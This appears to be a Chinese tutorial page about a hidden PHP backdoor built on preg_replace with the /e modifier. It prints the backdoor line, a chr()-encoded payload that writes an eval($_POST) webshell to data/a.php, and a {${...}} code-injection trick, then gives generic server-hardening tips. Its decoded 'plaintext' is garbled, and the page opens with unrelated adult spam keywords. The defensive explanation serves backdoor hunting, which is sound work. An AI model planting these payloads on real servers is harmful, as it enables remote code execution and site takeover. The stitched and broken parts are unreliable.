亚洲欧美精品沙发,日韩在线精品视频,亚洲Av每日更新在线观看,亚洲国产另类一区在线5

<pre id="hdphd"></pre>

  • <div id="hdphd"><small id="hdphd"></small></div>
      學習啦 > 學習電腦 > 電腦安全 > 系統(tǒng)安全 >

      利用preg_replace隱藏后門原理是什么

      時間: 加城1195 分享

        在一次幫助朋友檢查服務器的時候,竟然發(fā)現(xiàn)這樣的惡意代碼,利用各種查找后門的工具都沒有發(fā)現(xiàn)php木馬。怎么回事呢?有可能是某人利用preg_replace隱藏后門,感興趣的朋友下面一起看看!

        方法步驟

        通過分析發(fā)現(xiàn),小黑的訪問的文件發(fā)現(xiàn)代碼:

        @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

        如果你看到這個代碼是不是有的也沒什么問題,但是,這個就是小黑的掩藏的惡意代碼和后門。隱蔽吧,基本上任何查殺軟件都查殺不到。

        preg_replace函數(shù)原型:

        mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

        特別說明:

        /e 修正符使 preg_replace() 將 replacement 參數(shù)當作 PHP 代碼(在適當?shù)哪嫦蛞锰鎿Q完之后)。提示:要確保 replacement 構(gòu)成一個合法的 PHP 代碼字符串,否則 PHP 會在報告在包含 preg_replace() 的行中出現(xiàn)語法解析錯誤。

        上面的代碼是POST接受數(shù)據(jù)要測試,比較麻煩,如果換成GET獲取數(shù)據(jù)的話。。。

        舉例:

        echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);

        如果我們提交?h=phpinfo(),phpinfo()將會被執(zhí)行(使用/e修飾符,preg_replace會將 replacement 參數(shù)當作 PHP 代碼執(zhí)行)。

        如果我們要POST的話,我們測試提交下面的代碼會怎么樣呢?

        h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

        密文對應的明文是:

        fputs(fopen(data/a.php,w),);

        執(zhí)行的結(jié)果是在/data/目錄下生成一個一句話木馬文件 a.php。

        這個就恐怖了吧。。。。

        再來一個有難度的例子:

        復制代碼代碼如下:

        function test($str)

        {

        }

        echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1″)’, $_GET["h"]);

        ?>

        提交 ?h=phpinfo() ,phpinfo()會被執(zhí)行嗎?

        肯定不會。因為經(jīng)過正則匹配后, replacement 參數(shù)變?yōu)?rsquo;test(“phpinfo”)’,此時phpinfo僅是被當做一個字符串參數(shù)了。

        有沒有辦法讓它執(zhí)行呢?

        當然有。在這里我們?nèi)绻峤?h={${phpinfo()}},phpinfo()就會被執(zhí)行。為什么呢?

        在php中,雙引號里面如果包含有變量,php解釋器會將其替換為變量解釋后的結(jié)果;單引號中的變量不會被處理。

        注意:雙引號中的函數(shù)不會被執(zhí)行和替換。

        在這里我們需要通過{${}}構(gòu)造出了一個特殊的變量,’test(“{${phpinfo()}}”)’,達到讓函數(shù)被執(zhí)行的效果(${phpinfo()}會被解釋執(zhí)行)。

        可以先做如下測試:

        echo “{${phpinfo()}}”; phpinfo會被成功執(zhí)行了。

        所以,各位查找后門的時候注意查找下。

        OK,說了那么多,也了解了,以上我給的代碼:

        @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

        看似很正常的代碼,其實就是一個極度危險的代碼,隱藏頗深啊。哈哈。希望對大家有幫助

        補充:校園網(wǎng)安全維護技巧

        校園網(wǎng)絡分為內(nèi)網(wǎng)和外網(wǎng),就是說他們可以上學校的內(nèi)網(wǎng)也可以同時上互聯(lián)網(wǎng),大學的學生平時要玩游戲購物,學校本身有自己的服務器需要維護;

        在大環(huán)境下,首先在校園網(wǎng)之間及其互聯(lián)網(wǎng)接入處,需要設置防火墻設備,防止外部攻擊,并且要經(jīng)常更新抵御外來攻擊;

        由于要保護校園網(wǎng)所有用戶的安全,我們要安全加固,除了防火墻還要增加如ips,ids等防病毒入侵檢測設備對外部數(shù)據(jù)進行分析檢測,確保校園網(wǎng)的安全;

        外面做好防護措施,內(nèi)部同樣要做好防護措施,因為有的學生電腦可能帶回家或者在外面感染,所以內(nèi)部核心交換機上要設置vlan隔離,旁掛安全設備對端口進行檢測防護;

        內(nèi)網(wǎng)可能有ddos攻擊或者arp病毒等傳播,所以我們要對服務器或者電腦安裝殺毒軟件,特別是學校服務器系統(tǒng)等,安全正版安全軟件,保護重要電腦的安全;

        對服務器本身我們要安全server版系統(tǒng),經(jīng)常修復漏洞及更新安全軟件,普通電腦一般都是撥號上網(wǎng),如果有異常上層設備監(jiān)測一般不影響其他電腦。做好安全防范措施,未雨綢繆。

        相關(guān)閱讀:提高服務器安全性的技巧

        1.經(jīng)常更改系統(tǒng)管理員密碼。---->且密碼最好是大小寫都有

        2.定期更新系統(tǒng)補丁。---->開啟自動更新,并設定到晚上重啟。

        3.檢查系統(tǒng)是否多出超級管理員,檢查是否有帳號被克隆在“開始”>運行中輸入“cmd”>在輸入 net localgroup administrators

        4.在“開始”>運行中輸入“msconfig”檢查隨機啟動的程序和服務,關(guān)掉不必要的隨機啟動程序和服務。

        5.服務器上的所有程序盡量安裝程序的最新穩(wěn)定版。

        6.檢查SERVU是否被創(chuàng)建有執(zhí)行權(quán)限的用戶或者對C盤有讀寫權(quán)限的用戶,并且給SERVU設置一個登錄密碼。如果需要請給serv_u設置獨立啟動賬戶。

        7.不要隨意安裝任何的第三方軟件。例如XX優(yōu)化軟件,XX插件之類的,更不要在服務器上注冊未知的組件。

        8.不要隨意在服務器上使用IE訪問任何網(wǎng)站,杜絕隱患那是必須的。

        9. 檢查系統(tǒng)日志的“安全性”條目,在右側(cè)查看近期“審核成功”的登錄

        10.不要在服務器上雙擊運行任何程序,不然怎么中了木馬都不知道。

        11.不要在服務器上用IE打開用戶的硬盤中的網(wǎng)頁,這是危險的行為。

        12.不要在服務器上瀏覽圖片,以前windows就出過GDI 的安全漏洞。

        13.及時的更新病毒庫,查殺病毒。

        14.定時的查看系統(tǒng)各個盤符的磁盤權(quán)限,是否為設定的安全權(quán)限。

        15.確保你自己的電腦安全,如果自己的電腦不安全,服務器也可能不太安全。


      后門攻擊相關(guān)文章:

      1.計算機病毒簡介及預防

      2.常見的WEB攻擊以及解決方法

      3.電腦后門病毒

      4.詳解TP-LINK路由器漏洞可遠程竊取隱私

      5.如何預防和抵制黑客入侵

      4016545